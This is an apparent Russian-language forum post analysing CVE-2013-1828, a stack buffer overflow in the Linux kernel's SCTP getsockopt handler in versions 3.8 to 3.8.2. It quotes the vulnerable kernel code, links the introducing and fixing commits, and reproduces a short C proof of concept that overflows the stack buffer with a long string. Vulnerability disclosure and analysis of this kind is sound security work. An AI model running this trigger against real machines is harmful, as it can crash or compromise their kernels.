CVE-2013-1828 Linux kernel SCTP_GETSOCKOPT_ASSOC_STATS stack buf. overflow 3.8-3.8.2
Подвержены от 3.8 до 3.8.2, поэтому практического применения не получит.
Представлено в 3.8-rc1: http://git.kernel.org/cgit/linux/ker...t/?id=196d6759
Исправлено: http://git.kernel.org/cgit/linux/ker...t/?id=726bc6b0
Код:
5645static int sctp_getsockopt_assoc_stats(struct sock *sk, int len,
5646 char __user *optval,
5647 int __user *optlen)
5648{
5649 struct sctp_assoc_stats sas;
5650 struct sctp_association *asoc = NULL;
5651
5652 /* User must provide at least the assoc id */
5653 if (len < sizeof(sctp_assoc_t))
5654 return -EINVAL;
5655
5656 if (copy_from_user(&sas, optval, len))
5657 return -EFAULT;
len не проверяется на большой размер, поэтому может скопировать по адресу структуры больше, чем её размер, перезатерев eip/rip.
х86 возможно неуязвимы из-за проверки на этапе компиляции, для х64 есть код spender-а:
Код:
#include <stdio.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define SCTP_GET_ASSOC_STATS 112
#define SOL_SCTP 132
int main(void)
{
char *buf = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
socklen_t len = strlen(buf);
int fd;
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
getsockopt(fd, SOL_SCTP, SCTP_GET_ASSOC_STATS, buf, &len);
return 0;
}
|